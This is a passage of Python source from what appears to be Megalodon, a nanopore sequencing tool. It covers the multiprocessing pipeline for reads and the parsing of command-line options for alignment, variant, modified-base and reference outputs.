bar.close()\n if q_bars is not None:\n for q_bar in q_bars.values():\n q_bar.close()\n\n if len(failed_reads[_UNEXPECTED_ERROR_CODE]) >= 1:\n LOGGER.warning(\n (\n \"Unexpected errors occured. See full \"\n + \"error stack traces for first (up to) {0:d} errors in \"\n + '\"{1}\"'\n ).format(_MAX_NUM_UNEXP_ERRORS, unexp_err_fp.name)\n )\n if any(len(fns) > 0 for fns in failed_reads.values()):\n err_types = [(len(fns), err) for err, fns in failed_reads.items()]\n LOGGER.info(\n \"Unsuccessful processing types:\\n{}\".format(\n \"\\n\".join(iter_most_common_errs(err_types, reads_called))\n )\n )\n # TODO flag to output failed read names to file\n else:\n LOGGER.info(\"All reads processed successfully\")\n\n\n#######################\n# All read processing #\n#######################\n\n\ndef wait_for_completion(\n files_p,\n extract_sig_ps,\n signal_q,\n proc_reads_ps,\n map_read_ts,\n getter_qpcs,\n aux_failed_q,\n input_info,\n):\n def kill_all_proc(msgs=None):\n for p in (\n [\n files_p,\n ]\n + extract_sig_ps\n + proc_reads_ps\n ):\n if p.is_alive():\n p.terminate()\n p.join()\n for q in list(getter_qpcs.values()):\n if q.proc.is_alive():\n q.proc.terminate()\n q.proc.join()\n sleep(0.01)\n if msgs is not None:\n for msg in msgs:\n LOGGER.error(msg)\n sys.exit(1)\n\n try:\n # wait for file enumeration process to finish first\n while files_p.is_alive():\n try:\n aux_err = aux_failed_q.get(block=False)\n kill_all_proc(aux_err)\n except queue.Empty:\n # TODO check for failed workers and create mechanism to restart\n sleep(1)\n LOGGER.debug(\"JoiningMain: FileFiller\")\n files_p.join()\n LOGGER.debug(\"JoinedMain: FileFiller\")\n\n # wait for signal extraction to finish next\n while any(p.is_alive() for p in extract_sig_ps):\n # if no worker processes are alive run will stall\n if all(not p.is_alive() for p in proc_reads_ps):\n # ensure this is really a stalled run and not lagging to\n # close other processes\n sleep(1)\n if any(p.is_alive() for p in extract_sig_ps):\n kill_all_proc()\n try:\n aux_err = aux_failed_q.get(block=False)\n kill_all_proc()\n except queue.Empty:\n sleep(1)\n LOGGER.debug(\"JoiningMain: SignalExtractors\")\n for extract_sig_p in extract_sig_ps:\n extract_sig_p.join()\n LOGGER.debug(\"JoinedMain: SignalExtractors\")\n # add None to indicate to read workers that signal extraction is\n # complete\n for _ in range(input_info.num_ps):\n signal_q.queue.put(None)\n\n # wait for signal queue to be exhausted\n while not signal_q.queue.empty():\n try:\n aux_err = aux_failed_q.get(block=False)\n # if an auxiliary process fails exit megalodon\n kill_all_proc(aux_err)\n except queue.Empty:\n # check that a getter queue has not failed with a segfault\n for g_name, getter_qpc in getter_qpcs.items():\n k_str = (\n \"{} Getter queue has unexpectedly died likely via a \"\n \"segfault error. Please log this issue.\"\n ).format(g_name)\n if (\n not getter_qpc.proc.is_alive()\n and not signal_q.queue.empty()\n ):\n kill_all_proc([k_str])\n sleep(1)\n\n LOGGER.debug(\"JoiningMain: Workers\")\n # join worker/getter processes\n for proc_reads_p in proc_reads_ps:\n LOGGER.debug(\"JoiningMain: {}\".format(proc_reads_p.name))\n proc_reads_p.join()\n LOGGER.debug(\"JoinedMain: {}\".format(proc_reads_p.name))\n LOGGER.debug(\"JoiningMain: Mappers\")\n if map_read_ts is not None:\n for map_t in map_read_ts:\n LOGGER.debug(\"JoiningMain: {}\".format(map_t.name))\n map_t.join()\n LOGGER.debug(\"JoinedMain: {}\".format(map_t.name))\n for out_name, getter_qpc in getter_qpcs.items():\n getter_qpc.conn.send(True)\n LOGGER.debug(\"JoiningMain: Getters\")\n # comm to getter processes to return\n for out_name, getter_qpc in getter_qpcs.items():\n if getter_qpc.proc.is_alive():\n if out_name == mh.PR_VAR_NAME:\n LOGGER.info(\n \"Waiting for variants database to complete indexing\"\n )\n elif out_name == mh.PR_MOD_NAME:\n LOGGER.info(\n \"Waiting for mods database to complete indexing\"\n )\n LOGGER.debug(\"JoiningMain: {}\".format(out_name))\n getter_qpc.proc.join()\n LOGGER.debug(\"JoinedMain: {}\".format(out_name))\n LOGGER.debug(\"JoiningMain: Complete\")\n\n except KeyboardInterrupt:\n LOGGER.error(\"Exiting due to keyboard interrupt\")\n sys.exit(1)\n\n\ndef process_all_reads(\n status_info,\n input_info,\n model_info,\n bc_info,\n aligner,\n map_info,\n mods_info,\n vars_info,\n ref_out_info,\n):\n # queue to communicate with the main process that an auxiliary/non-worker\n # process has failed unexpectedly to trigger full shutdown\n aux_failed_q = mp.Queue()\n LOGGER.info(\"Preparing workers to process reads\")\n # read filename queue filler\n # Note no maxsize for this queue to compute total number of reads while\n # also not delaying read processing\n fn_read_ids_q = mega_mp.CountingMPQueue()\n nr_conn, gnr_conn = mp.Pipe()\n files_p = mp.Process(\n target=fast5_io._fill_files_queue,\n daemon=True,\n name=\"FileFiller\",\n args=(input_info, fn_read_ids_q, nr_conn, aux_failed_q),\n )\n files_p.start()\n # set maxsize to limit memory usage from loaded raw signal\n signal_q = mega_mp.GETTER_QPC(\n queue=mega_mp.CountingMPQueue(maxsize=mh._MAX_QUEUE_SIZE),\n proc=None,\n conn=None,\n )\n extract_sig_ps = []\n for es_i in range(input_info.num_extract_sig_proc):\n extract_sig_ps.append(\n mp.Process(\n target=fast5_io._extract_signal,\n daemon=True,\n name=\"SignalExtractor{:03d}\".format(es_i),\n args=(\n fn_read_ids_q,\n signal_q.queue,\n aux_failed_q,\n input_info,\n model_info,\n ref_out_info.do_output.sig_maps,\n ),\n )\n )\n extract_sig_ps[-1].start()\n\n # collate information about the output/getter processes\n getters_info = [\n mh.GETTER_INFO(\n name=mh.BC_NAME,\n do_output=bc_info.do_output.any,\n func=_get_bc_queue,\n args=(bc_info, aux_failed_q),\n ),\n mh.GETTER_INFO(\n name=mh.MAP_NAME,\n do_output=map_info.do_output_mappings,\n func=mapping._get_map_queue,\n args=(map_info, ref_out_info, aux_failed_q),\n ),\n mh.GETTER_INFO(\n name=mh.PR_VAR_NAME,\n do_output=vars_info.do_output.db,\n func=variants._get_variants_queue,\n args=(vars_info, ref_out_info, map_info, aux_failed_q),\n ),\n mh.GETTER_INFO(\n name=mh.PR_MOD_NAME,\n do_output=mods_info.do_output.any,\n func=mods._get_mods_queue,\n args=(mods_info, map_info, ref_out_info, aux_failed_q),\n ),\n mh.GETTER_INFO(\n name=mh.SIG_MAP_NAME,\n do_output=ref_out_info.do_output.sig_maps,\n func=ref_out_info.get_sig_map_func,\n args=(ref_out_info, aux_failed_q),\n ),\n ]\n getter_qpcs = OrderedDict(\n (gi.name, mega_mp.create_getter_qpc(gi.func, gi.args, name=gi.name))\n for gi in getters_info\n if gi.do_output\n )\n # failed reads queue needs access to other getter queues\n getter_qpcs[_FAILED_READ_GETTER_NAME] = mega_mp.create_getter_qpc(\n _get_fail_queue,\n (status_info, gnr_conn, getter_qpcs, signal_q),\n max_size=None,\n name=_FAILED_READ_GETTER_NAME,\n )\n\n proc_reads_ps, map_conns = [], []\n for pnum, device in enumerate(model_info.process_devices):\n map_conn, caller_conn = (None, None) if aligner is None else mp.Pipe()\n map_conns.append(map_conn)\n proc_reads_ps.append(\n mp.Process(\n target=_process_reads_worker,\n args=(\n signal_q,\n getter_qpcs,\n caller_conn,\n ref_out_info,\n model_info,\n vars_info,\n mods_info,\n bc_info,\n device,\n aux_failed_q,\n ),\n daemon=True,\n name=\"ReadWorker{:03d}\".format(pnum),\n )\n )\n proc_reads_ps[-1].start()\n if caller_conn is not None:\n caller_conn.close()\n del caller_conn\n # ensure process all start up before initializing mapping threads\n sleep(0.1)\n # perform mapping in threads for mappy shared memory interface\n # open threads after all processes have started due to python\n # multiprocess combined with threading instability\n map_read_ts = None if aligner is None else []\n if aligner is not None:\n for ti, map_conn in enumerate(map_conns):\n map_read_ts.append(\n threading.Thread(\n target=mapping._map_read_worker,\n args=(aligner, map_conn, map_info.allow_supps),\n daemon=True,\n name=\"Mapper{:03d}\".format(ti),\n )\n )\n map_read_ts[-1].start()\n\n wait_for_completion(\n files_p,\n extract_sig_ps,\n signal_q,\n proc_reads_ps,\n map_read_ts,\n getter_qpcs,\n aux_failed_q,\n input_info,\n )\n\n\n############################\n# Input validation/parsing #\n############################\n\n\ndef parse_aligner_args(args):\n if len(mh.ALIGN_OUTPUTS.intersection(args.outputs)) > 0:\n if args.reference is None:\n LOGGER.error(\n (\n \"Output(s) requiring reference alignment requested ({}), \"\n + \"but --reference not provided.\"\n ).format(\", \".join(mh.ALIGN_OUTPUTS.intersection(args.outputs)))\n )\n sys.exit(1)\n LOGGER.info(\"Loading reference\")\n if not (\n os.path.exists(args.reference) and os.path.isfile(args.reference)\n ):\n LOGGER.error(\n \"Provided reference file does not exist or is \" + \"not a file.\"\n )\n sys.exit(1)\n aligner_kwargs = {\"preset\": str(\"map-ont\")}\n if args.allow_supplementary_alignments:\n LOGGER.warning(\n \"--allow-supplementary-alignments option is set. This \"\n \"allows modified base and variant calls to be made from the \"\n \"same read base at multiple reference bases and/or the same \"\n \"reference base from multiple read bases in the same read. \"\n \"This can lead to over-counting of modified base/variant \"\n \"calls and/or spurious extra calls. There are use cases for \"\n \"this behavior, but these caveats should be considered when \"\n \"using this option.\"\n )\n else:\n aligner_kwargs.update({\"best_n\": 1})\n if args.forward_strand_alignments_only:\n aligner_kwargs.update({\"extra_flags\": 0x100000})\n if args.minimap_score is not None:\n aligner_kwargs.update({\"scoring\": tuple(args.minimap_score)})\n aligner = mappy.Aligner(str(args.reference), **aligner_kwargs)\n else:\n aligner = None\n if args.reference is not None:\n LOGGER.warning(\n \"[--reference] provided, but no [--outputs] requiring \"\n + \"alignment was requested. Argument will be ignored.\"\n )\n map_info = mapping.MapInfo(\n aligner=aligner,\n map_fmt=args.mappings_format,\n ref_fn=args.reference,\n out_dir=args.output_directory,\n do_output_mappings=mh.MAP_NAME in args.outputs,\n samtools_exec=args.samtools_executable,\n do_sort_mappings=args.sort_mappings,\n cram_ref_fn=args.cram_reference,\n allow_supps=args.allow_supplementary_alignments,\n )\n if map_info.do_output_mappings:\n try:\n map_info.test_open_alignment_out_file()\n except mh.MegaError:\n sys.exit(1)\n if map_info.do_sort_mappings:\n map_info.test_samtools()\n return aligner, map_info\n\n\ndef parse_var_args(args, model_info, aligner, ref_out_info):\n if args.ref_include_variants and mh.PR_VAR_NAME not in args.outputs:\n LOGGER.warning(\n \"--ref-include-variants set, so adding \"\n '\"per_read_vars\" to --outputs.'\n )\n args.outputs.append(mh.PR_VAR_NAME)\n if mh.VAR_MAP_NAME in args.outputs and mh.PR_VAR_NAME not in args.outputs:\n LOGGER.warning(\n (\n 'Adding \"{}\" to --outputs since \"{}\" was requested. For full '\n 'phased variant pipeline add \"{}\" or run aggregation after '\n \"run is complete.\"\n ).format(mh.PR_VAR_NAME, mh.VAR_MAP_NAME, mh.VAR_NAME)\n )\n args.outputs.append(mh.PR_VAR_NAME)\n if mh.VAR_NAME in args.outputs and mh.PR_VAR_NAME not in args.outputs:\n LOGGER.warning(\n 'Adding \"{mh.PR_VAR_NAME}\" to --outputs since \"{mh.VAR_NAME}\" '\n \"was requested.\"\n )\n args.outputs.append(mh.PR_VAR_NAME)\n if mh.PR_VAR_NAME in args.outputs and args.variant_filename is None:\n LOGGER.error(\n f\"{mh.PR_VAR_NAME} output requested, but --variant-filename \"\n \"not provided.\"\n )\n sys.exit(1)\n if mh.PR_VAR_NAME in args.outputs and model_info.is_crf:\n LOGGER.error(\n \"Sequence variant outputs is not implemented for CRF models.\"\n )\n sys.exit(1)\n if mh.PR_VAR_NAME in args.outputs and not (\n model_info.is_cat_mod or mh.nstate_to_nbase(model_info.output_size) == 4\n ):\n LOGGER.error(\n \"Variant calling from naive modified base flip-flop model is \"\n \"not supported.\"\n )\n sys.exit(1)\n skip_db_index = args.skip_database_index\n if skip_db_index and mh.PR_VAR_NAME in args.outputs:\n LOGGER.warning(\n \"Database index skipping is not currently implemented for \"\n \"variants output. Ignoring --skip-database-index.\"\n )\n skip_db_index = False\n if skip_db_index and mh.VAR_NAME in args.outputs:\n LOGGER.warning(\n \"Cannot skip database indexing when aggregated output \"\n '\"variants\" is requested. Ignoring --skip-database-index.'\n )\n skip_db_index = False\n\n var_calib_fn = (\n mh.get_var_calibration_fn(\n model_info.params.pyguppy.config,\n args.variant_calibration_filename,\n args.disable_variant_calibration,\n )\n if mh.PR_VAR_NAME in args.outputs\n else None\n )\n do_output = mh.VAR_DO_OUTPUT(\n db=mh.PR_VAR_NAME in args.outputs,\n text=args.write_variants_text,\n var_map=mh.VAR_MAP_NAME in args.outputs,\n )\n\n try:\n vars_info = variants.VarInfo(\n args.variant_filename,\n aligner,\n max_indel_size=args.max_indel_size,\n all_paths=args.variant_all_paths,\n context_bases=args.variant_context_bases,\n vars_calib_fn=var_calib_fn,\n call_mode=variants.HAPLIOD_MODE\n if args.haploid\n else variants.DIPLOID_MODE,\n edge_buffer=args.edge_buffer,\n context_min_alt_prob=args.context_min_alt_prob,\n loc_index_in_memory=not args.variant_locations_on_disk,\n variants_are_atomized=args.variants_are_atomized,\n db_safety=args.database_safety,\n do_output=do_output,\n out_dir=args.output_directory,\n skip_db_index=skip_db_index,\n )\n except mh.MegaError as e:\n # catch potential errors reading in variant file\n LOGGER.error(str(e))\n sys.exit(1)\n if args.variant_filename is not None and mh.PR_VAR_NAME not in args.outputs:\n LOGGER.warning(\n \"--variants-filename provided, but variants output not \"\n + \"requested (via --outputs). Argument will be ignored.\"\n )\n if args.rna and mh.PR_VAR_NAME in args.outputs:\n LOGGER.error(\n \"Sequence variant analysis of RNA data is not currently \"\n + \"supported.\"\n )\n sys.exit(1)\n return args, vars_info\n\n\ndef resolve_mod_args(args):\n if args.ref_include_mods and args.ref_mods_all_motifs is not None:\n LOGGER.warning(\n \"--ref-include-mods and --ref-mods-all-motifs are not \"\n \"compatible. Ignoring --ref-include-mods\"\n )\n args.ref_include_mods = False\n if args.ref_include_mods and not (\n mh.SIG_MAP_NAME in args.outputs or mh.PR_REF_NAME in args.outputs\n ):\n LOGGER.warning(\n (\n \"--ref-include-mods specified, but neither {} or {} specified \"\n \"in outputs. Ignoring --ref-include-mods\"\n ).format(mh.SIG_MAP_NAME, mh.PR_REF_NAME)\n )\n args.ref_include_mods = False\n if args.ref_include_mods and mh.PR_MOD_NAME not in args.outputs:\n LOGGER.warning(\n \"--ref-include-mods set, so adding \" '\"per_read_mods\" to --outputs.'\n )\n args.outputs.append(mh.PR_MOD_NAME)\n if mh.PR_MOD_NAME not in args.outputs and mh.MOD_NAME in args.outputs:\n LOGGER.warning(\n '\"mods\" output requested, so \"per_read_mods\" will '\n \"be added to outputs.\"\n )\n args.outputs.append(mh.PR_MOD_NAME)\n remora_provided = (\n args.remora_model is not None or args.remora_modified_bases is not None\n )\n if remora_provided and args.mod_calibration_filename is None:\n args.disable_mod_calibration = True\n\n return args\n\n\ndef parse_mod_args(args, model_info, map_info):\n remora_provided = (\n args.remora_model is not None or args.remora_modified_bases is not None\n )\n if (\n mh.PR_MOD_NAME in args.outputs\n and model_info.is_crf\n and not remora_provided\n ):\n LOGGER.error(\n \"CRF models do not support builtin modified base detection. \"\n \"See Remora models.\"\n )\n sys.exit(1)\n mods_avail = model_info.is_cat_mod or remora_provided\n if mh.PR_MOD_NAME in args.outputs and not mods_avail:\n LOGGER.error(\n (\n \"{} output requested, but specified model does not support \"\n \"calling modified bases.\"\n ).format(mh.PR_MOD_NAME)\n )\n sys.exit(1)\n if mods_avail and len(mh.MOD_OUTPUTS.intersection(args.outputs)) == 0:\n LOGGER.warning(\n (\n \"Model supporting modified base calling specified, but no \"\n \"modified base outputs requested. This is fine; just wanted to \"\n \"let you know.\"\n )\n )\n if mh.BC_NAME not in args.outputs and mh.BC_MODS_NAME in args.outputs:\n args.outputs.append(mh.BC_NAME)\n if (\n not args.mod_map_emulate_bisulfite\n and args.mod_map_base_conv is not None\n ):\n LOGGER.warning(\n \"--mod-map-base-conv provided, but --mod-map-emulate-bisulfite \"\n \"not set. --mod-map-base-conv will be ignored.\"\n )\n skip_db_index = args.skip_database_index\n if skip_db_index and mh.MOD_NAME in args.outputs:\n LOGGER.warning(\n 'Cannot skip database indexing when aggregated output \"mods\" is '\n \"requested. Ignoring --skip-database-index.\"\n )\n skip_db_index = False\n\n mod_calib_fn = (\n mh.get_mod_calibration_fn(\n model_info.params.pyguppy.config,\n args.mod_calibration_filename,\n args.disable_mod_calibration,\n )\n if mh.PR_MOD_NAME in args.outputs\n else None\n )\n if args.mod_aggregate_method == mh.MOD_EM_NAME:\n agg_info = mods.AGG_INFO(mh.MOD_EM_NAME, None)\n elif args.mod_aggregate_method == mh.MOD_EXPIT:\n agg_info = mods.AGG_INFO(mh.MOD_EXPIT, None)\n elif args.mod_aggregate_method == mh.MOD_BIN_THRESH_NAME:\n agg_info = mods.AGG_INFO(\n mh.MOD_BIN_THRESH_NAME, args.mod_binary_threshold\n )\n\n do_output = mh.MOD_DO_OUTPUT(\n db=mh.PR_MOD_NAME in args.outputs,\n text=args.write_mods_text,\n mod_map=mh.MOD_MAP_NAME in args.outputs,\n any=any(\n (\n mh.PR_MOD_NAME in args.outputs,\n args.write_mods_text,\n mh.MOD_MAP_NAME in args.outputs,\n args.ref_include_mods,\n )\n ),\n )\n sig_map_shift = (\n args.remora_signal_mapping_offset\n if args.remora_signal_mapping_offset != 0\n else None\n )\n mods_info = mods.ModInfo(\n model_info=model_info,\n all_mod_motifs_raw=args.mod_motif,\n mod_all_paths=args.mod_all_paths,\n mod_context_bases=args.mod_context_bases,\n mods_calib_fn=mod_calib_fn,\n mod_output_fmts=args.mod_output_formats,\n edge_buffer=args.edge_buffer,\n agg_info=agg_info,\n mod_thresh=args.ref_mod_threshold,\n do_ann_all_mods=args.ref_include_mods,\n map_emulate_bisulfite=args.mod_map_emulate_bisulfite,\n map_base_conv=args.mod_map_base_conv,\n map_min_prob=args.mod_min_prob,\n mod_db_timeout=args.mod_database_timeout,\n db_safety=args.database_safety,\n out_dir=args.output_directory,\n skip_db_index=skip_db_index,\n do_output=do_output,\n bc_full_path_decode=args.basecall_anchored_full_path_decode,\n ref_full_path_decode=not args.reference_anchored_index_decode,\n remora_model_filename=args.remora_model,\n remora_model_spec=args.remora_modified_bases,\n remora_sig_map_offset=sig_map_shift,\n )\n if do_output.db:\n # initialize the database tables\n mods.init_mods_db(mods_info, map_info.ref_names_and_lens)\n # load indices and close connection\n mods_db = mods.ModsDb(mods_info.mods_db_fn, read_only=True)\n mods_info.add_mods_db_arrays(mods_db)\n mods_db.close()\n return args, mods_info\n\n\ndef parse_ref_mods_all_motifs(ref_mod_motifs_raw, sm_alphabet_info):\n sm_alphabet = sm_alphabet_info.alphabet\n sm_coll_alphabet = sm_alphabet_info.collapse_alphabet\n sm_mlns = sm_alphabet_info.mod_long_names\n sm_mod_bases = sm_alphabet_info.mod_bases\n ref_mod_motifs_init = []\n for mod_base, mln, motif, rel_pos in ref_mod_motifs_raw:\n rel_pos = int(rel_pos)\n ref_base = motif[rel_pos]\n if mod_base not in sm_alphabet:\n # add mod base to alphabet\n sm_alphabet += mod_base\n sm_coll_alphabet += ref_base\n sm_mod_bases += mod_base\n sm_mlns.append(mln)\n else:\n # check that mod base matches current model\n base_idx = sm_alphabet.index(mod_base)\n if sm_coll_alphabet[base_idx] != ref_base:\n raise mh.MegaError(\n f\"Canonical base ({ref_base}) specified by \"\n \"--ref-mods-all-motifs does not match model alphabet \"\n f\"base ({sm_coll_alphabet[base_idx]}).\"\n )\n mod_idx = sm_mod_bases.index(mod_base)\n if sm_mlns[mod_idx] != mln:\n raise mh.MegaError(\n f\"Modified base long name ({mln}) specified by \"\n \"--ref-mods-all-motifs does not match model alphabet \"\n f\"long name ({sm_mlns[mod_idx]}).\"\n )\n ref_mod_motifs_init.append((mod_base, mln, motif, rel_pos))\n new_sm_alphabet_info = signal_mapping.get_alphabet_info(\n sm_alphabet, sm_coll_alphabet, sm_mlns\n )\n ref_mod_motifs_w_ints = []\n for mod_base, mln, motif, rel_pos in ref_mod_motifs_init:\n int_mod_base = new_sm_alphabet_info.alphabet.index(mod_base)\n # iterate over all real sequences for the canonical motif\n for motif_bases in product(*(mh.SINGLE_LETTER_CODE[b] for b in motif)):\n int_motif = np.array(\n [\n new_sm_alphabet_info.alphabet.index(base)\n for base in motif_bases\n ]\n )\n ref_mod_motifs_w_ints.append(\n (mod_base, int_mod_base, mln, int_motif, rel_pos)\n )\n return ref_mod_motifs_w_ints, new_sm_alphabet_info\n\n\ndef parse_ref_out_args(args, model_info, map_info):\n if mh.SIG_MAP_NAME in args.outputs or mh.PR_REF_NAME in args.outputs:\n if args.ref_include_variants and args.ref_include_mods:\n LOGGER.error(\n \"Cannot output both modified base and variants in \"\n \"per-read references (remove one of \"\n \"--refs-include-variants or --refs-include-mods).\"\n )\n sys.exit(1)\n if args.ref_include_mods and args.ref_mods_all_motifs is not None:\n LOGGER.warning(\n \"--ref-include-mods and --ref-mods-all-motifs are not \"\n \"compatible. Ignoring --ref-include-mods\"\n )\n args.ref_include_mods = False\n\n # parse reference output filter parameters\n min_len, max_len = (\n (None, None) if args.ref_length_range is None else args.ref_length_range\n )\n ref_filt_params = mh.REF_OUT_FILTER_PARAMS(\n pct_idnt=args.ref_percent_identity_threshold,\n pct_cov=args.ref_percent_coverage_threshold,\n min_len=min_len,\n max_len=max_len,\n )\n\n # Determine requested outputs and parse alphabet info\n sig_map_getter = sm_alphabet_info = None\n do_out_csm = do_out_msm = do_out_vsm = False\n if mh.SIG_MAP_NAME in args.outputs:\n LOGGER.info(\"Loading signal mapping settings\")\n if args.ref_include_mods:\n do_out_msm = True\n elif args.ref_include_variants:\n raise NotImplementedError(\n \"Signal mapping with annotated variants not implemented\"\n )\n do_out_vsm = True\n else:\n do_out_csm = True\n # import here so that taiyaki is not required unless outputting\n # signal mappings\n from megalodon import signal_mapping\n\n global signal_mapping\n sig_map_getter = signal_mapping.write_signal_mappings\n sm_alphabet_info = signal_mapping.get_alphabet_info_from_model(\n model_info\n )\n if args.ref_include_mods and mh.PR_MOD_NAME not in args.outputs:\n LOGGER.warning(f'Adding \"{mh.PR_MOD_NAME}\" to --outputs.')\n args.outputs.append(mh.PR_MOD_NAME)\n do_out_cpr = do_out_mpr = do_out_vpr = False\n if mh.PR_REF_NAME in args.outputs:\n LOGGER.info(\"Loading per-read reference output settings.\")\n if args.ref_include_mods:\n do_out_mpr = True\n elif args.ref_include_variants:\n do_out_vpr = True\n else:\n do_out_cpr = True\n if args.ref_include_variants and mh.PR_VAR_NAME not in args.outputs:\n LOGGER.warning(\n \"--refs-include-variants set, so adding \"\n \"per_read_variants to --outputs.\"\n )\n args.outputs.append(mh.PR_VAR_NAME)\n else:\n if args.ref_include_variants:\n LOGGER.warning(\n \"{0} set but {1} not requested. Ignoring {0}.\".format(\n \"--ref-include-variants\", mh.PR_REF_NAME\n )\n )\n args.ref_include_variants = None\n do_output_pr_refs = any((do_out_cpr, do_out_mpr, do_out_vpr))\n do_output_sig_maps = any((do_out_csm, do_out_msm, do_out_vsm))\n ref_outputs = mh.REF_DO_OUTPUT(\n pr_refs=do_output_pr_refs,\n can_pr_refs=do_out_cpr,\n mod_pr_refs=do_out_mpr,\n var_pr_refs=do_out_vpr,\n sig_maps=do_output_sig_maps,\n can_sig_maps=do_out_csm,\n mod_sig_maps=do_out_msm,\n var_sig_maps=do_out_vsm,\n )\n\n # warn if irrelevent arguments are provided\n if (\n mh.SIG_MAP_NAME not in args.outputs\n and mh.PR_REF_NAME not in args.outputs\n ):\n for arg_val, arg_str in (\n (args.ref_mods_all_motifs, \"--ref-mods-all-motifs\"),\n (args.ref_length_range, \"--ref-length-range\"),\n (\n args.ref_percent_identity_threshold,\n \"--ref-percent-identity-threshold\",\n ),\n (\n args.ref_percent_coverage_threshold,\n \"--ref-percent-coverage-threshold\",\n ),\n ):\n if arg_val is not None:\n LOGGER.warning(\n (\n \"{0} set but neither {1} nor {2} requested. Ignoring \"\n + \"{0}.\"\n ).format(arg_str, mh.SIG_MAP_NAME, mh.PR_REF_NAME)\n )\n arg_val = None\n for arg_flag, arg_str in (\n (args.ref_include_mods, \"--ref-include-mods\"),\n ):\n if arg_flag:\n LOGGER.warning(\n (\n \"{0} set but neither {1} nor {2} requested. Ignoring \"\n + \"{0}.\"\n ).format(arg_str, mh.SIG_MAP_NAME, mh.PR_REF_NAME)\n )\n arg_flag = False\n\n # if motif based mod markup is requested parse here\n per_site_threshs = None\n if args.mod_per_site_threshold is not None:\n LOGGER.info(\"Loading per-site thresholds.\")\n per_site_threshs = mh.parse_bed_scores_np(\n args.mod_per_site_threshold, map_info.ref_names_and_lens\n )\n\n ref_mods_all_motifs = None\n if args.ref_mods_all_motifs is not None:\n if sm_alphabet_info is None:\n LOGGER.warning(\n \"All mod motifs not compatible with `per_read_refs`.\"\n )\n else:\n ref_mods_all_motifs, sm_alphabet_info = parse_ref_mods_all_motifs(\n args.ref_mods_all_motifs, sm_alphabet_info\n )\n\n ref_out_info = mh.REF_OUT_INFO(\n do_output=ref_outputs,\n filt_params=ref_filt_params,\n ref_mods_all_motifs=ref_mods_all_motifs,\n alphabet_info=sm_alphabet_info,\n out_dir=args.output_directory,\n get_sig_map_func=sig_map_getter,\n per_site_threshs=per_site_threshs,\n sig_map_offset=args.ref_signal_mapping_offset,\n )\n\n return args, ref_out_info\n\n\ndef parse_basecall_args(args, mods_info):\n if mh.BC_MODS_NAME in args.outputs and mods_info.nmod_base == 0:\n LOGGER.warning(\n \"mod_basecalls requested, but specified model does \"\n + \"not support calling modified bases. Removing \"\n + \"mod_basecalls from outputs.\"\n )\n args.outputs.remove(mh.BC_MODS_NAME)\n bc_do_output = mh.BASECALL_DO_OUTPUT(\n any=mh.BC_NAME in args.outputs or mh.BC_MODS_NAME in args.outputs,\n basecalls=mh.BC_NAME in args.outputs,\n mod_basecalls=mh.BC_MODS_NAME in args.outputs,\n )\n return mh.BASECALL_INFO(\n do_output=bc_do_output,\n out_dir=args.output_directory,\n bc_fmt=args.basecalls_format,\n mod_bc_fmt=args.mappings_format,\n mod_bc_min_prob=args.mod_min_prob,\n mod_long_names=mods_info.mod_long_names,\n rev_sig=args.rna,\n )\n\n\ndef parse_input_args(args):\n if args.live_processing:\n LOGGER.info(\n \"Performing live processing. File searching will stop once \"\n '\"final_summary_*\" file is found.'\n )\n return mh.INPUT_INFO(\n fast5s_dir=args.fast5s_dir,\n recursive=not args.not_recursive,\n num_reads=args.num_reads,\n read_ids_fn=args.read_ids_filename,\n num_ps=args.processes,\n do_it_live=args.live_processing,\n num_read_enum_ts=args.num_read_enumeration_threads,\n num_extract_sig_proc=args.num_extract_signal_processes,\n )\n\n\ndef parse_status_args(args):\n return mh.STATUS_INFO(\n suppress_prog_bar=args.suppress_progress_bars,\n suppress_queues=args.suppress_queues_status,\n num_prog_errs=args.verbose_read_progress,\n )\n\n\n########\n# Main #\n########\n\n\ndef _main(args):\n try:\n mh.mkdir(args.output_directory, args.overwrite)\n except mh.MegaError as e:\n LOGGER.error(str(e))\n sys.exit(1)\n\n logging.init_logger(args.output_directory)\n LOGGER.info(\"Running Megalodon version {}\".format(__version__))\n LOGGER.debug('Command: \"\"\"' + \" \".join(sys.argv) + '\"\"\"')\n if _DO_PROFILE:\n LOGGER.warning(\"Running profiling. This may slow processing.\")\n\n model_info = None\n try:\n status_info = parse_status_args(args)\n input_info = parse_input_args(args)\n args = resolve_mod_args(args)\n backend_params = backends.parse_backend_params(args)\n model_info = backends.ModelInfo(\n backend_params,\n args.processes,\n args.remora_model,\n args.remora_modified_bases,\n )\n # aligner can take a while to load, so load as late as possible\n aligner, map_info = parse_aligner_args(args)\n # process ref out here as it might add mods or variants to outputs\n args, ref_out_info = parse_ref_out_args(args, model_info, map_info)\n args, mods_info = parse_mod_args(args, model_info, map_info)\n bc_info = parse_basecall_args(args, mods_info)\n args, vars_info = parse_var_args(\n args, model_info, aligner, ref_out_info\n )\n model_info.set_outputs(mods_info, bc_info, ref_out_info)\n\n process_all_reads(\n status_info,\n input_info,\n model_info,\n bc_info,\n aligner,\n map_info,\n mods_info,\n vars_info,\n ref_out_info,\n )\n except mh.MegaError as e:\n LOGGER.error(str(e))\n if model_info is not None:\n model_info.close()\n sys.exit(1)\n finally:\n if model_info is not None:\n model_info.close()\n\n if aligner is None:\n # all other tasks require reference mapping\n return\n # delete aligner to free memory\n del aligner\n\n # start mapping processes before other post-per-read tasks\n map_p, mod_map_ps, var_map_p, var_sort_fn = start_sort_mapping_procs(\n map_info, mods_info, vars_info\n )\n\n if mh.VAR_NAME in args.outputs or mh.MOD_NAME in args.outputs:\n aggregate.aggregate_stats(\n args.outputs,\n args.output_directory,\n args.processes,\n args.write_vcf_log_probs,\n args.heterozygous_factors,\n vars_info.call_mode,\n mods_info.agg_info,\n args.write_mod_log_probs,\n mods_info.mod_output_fmts,\n args.suppress_progress_bars,\n batch_size=args.aggregate_batch_size,\n )\n\n variant_fn = index_variant_fn = None\n if mh.VAR_NAME in args.outputs:\n LOGGER.info(\"Sorting output variant file\")\n variant_fn = mh.get_megalodon_fn(args.output_directory, mh.VAR_NAME)\n sort_variant_fn = mh.add_fn_suffix(variant_fn, \"sorted\")\n variants.sort_variants(variant_fn, sort_variant_fn)\n LOGGER.info(\"Indexing output variant file\")\n index_variant_fn = variants.index_variants(sort_variant_fn)\n\n get_map_procs(\n map_p, mod_map_ps, var_map_p, var_sort_fn, index_variant_fn, variant_fn\n )\n LOGGER.info(\"Mega Done\")\n\n\nif __name__ == \"__main__\":\n sys.stderr.write(\"This is a module. See commands with `megalodon -h`\")\n 